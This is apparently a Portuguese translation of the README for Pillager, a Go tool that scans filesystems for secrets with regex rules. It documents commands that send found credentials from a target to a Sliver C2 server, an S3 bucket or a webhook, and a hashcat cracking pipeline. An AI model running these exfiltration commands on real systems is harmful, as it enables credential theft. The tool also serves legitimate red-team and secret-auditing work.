
Pilhar sistemas de arquivos em busca de informações sensíveis com Go 🔍
Saquear sistemas de arquivos em busca de informações sensíveis com Go.
Pillager foi projetado para fornecer uma maneira simples de aproveitar o forte modelo de concorrência do Go para pesquisar recursivamente diretórios em busca de informações sensíveis em arquivos. Pillager faz isso apoiando-se nos ombros de alguns gigantes. Assim que pillager encontra arquivos que correspondem ao padrão especificado, o arquivo é escaneado usando uma série de workers concorrentes, cada um pegando uma linha do arquivo da fila de tarefas e caçando correspondências de padrões sensíveis. Os filtros de padrão disponíveis podem ser definidos em um arquivo pillager.toml ou você pode usar o conjunto de regras padrão.
Se você tiver o Go configurado no seu sistema, pode instalar o Pillager com go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Se você está procurando um binário, confira os últimos lançamentos para o executável que corresponde ao seu sistema.
Para ver todos os comandos disponíveis com pillager
# Para ver instruções para toda a aplicação
pillager
# A partir de qualquer subcomando
pillager [cmd] --help
Pillager fornece uma interface de usuário em terminal construída com bubbletea se você quiser escanear por segredos interativamente.
Envie segredos descobertos para destinos remotos: Sliver C2 (armazenamentos de loot/credenciais), S3/MinIO (armazenamento em nuvem) ou Webhooks (endpoints HTTP personalizados).
# Sliver C2 - Enviar para teamserver com análise de credenciais
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Enviar com criptografia
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST para endpoint personalizado
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Segurança: Criptografia AES-256-GCM (--exfil-encrypt), TLS por padrão, metadados automáticos (hostname, timestamp)
Pillager oferece suporte total para regras do Gitleaks[^2]. Isso pode ser passado com uma seção de regras1 no seu arquivo pillager.toml, ou você pode usar o conjunto de regras padrão deixando a flag de configuração em branco.
# pillager.toml
# Configuração básica
verbose = false
redact = false
# Regras para detecção de segredos
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuração de lista de permissões
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager possui uma série de formatos de saída embutidos disponíveis. Escolha o seu favorito!
pillager hunt .
pillager hunt ./example -f json | jq
A saída JSON foi projetada para funcionar perfeitamente com o incrível utilitário jq para fácil análise.
# Use pillager para gerar uma wordlist delimitada por nova linha a partir dos achados
pillager hunt . -f wordlist
# Use pillager para anexar uma wordlist e depois use seu modo de ataque hashcat favorito
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager permite que você use funções poderosas de go text/template e sprig para personalizar o formato de saída. Aqui estão alguns exemplos de templates.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
Mais exemplos de templates podem ser encontrados no diretório templates.
Documentação do GoDoc está disponível em pkg.go.dev para pillager.
Para se envolver no desenvolvimento de funcionalidades e correções para o Pillager, comece com o seguinte:
O que é Cobra?
Cobra é uma biblioteca que fornece uma interface simples para criar interfaces de linha de comando modernas e poderosas, semelhantes às ferramentas git e go. Cobra também é uma aplicação que gerará o scaffold da sua aplicação para desenvolver rapidamente uma aplicação baseada em Cobra.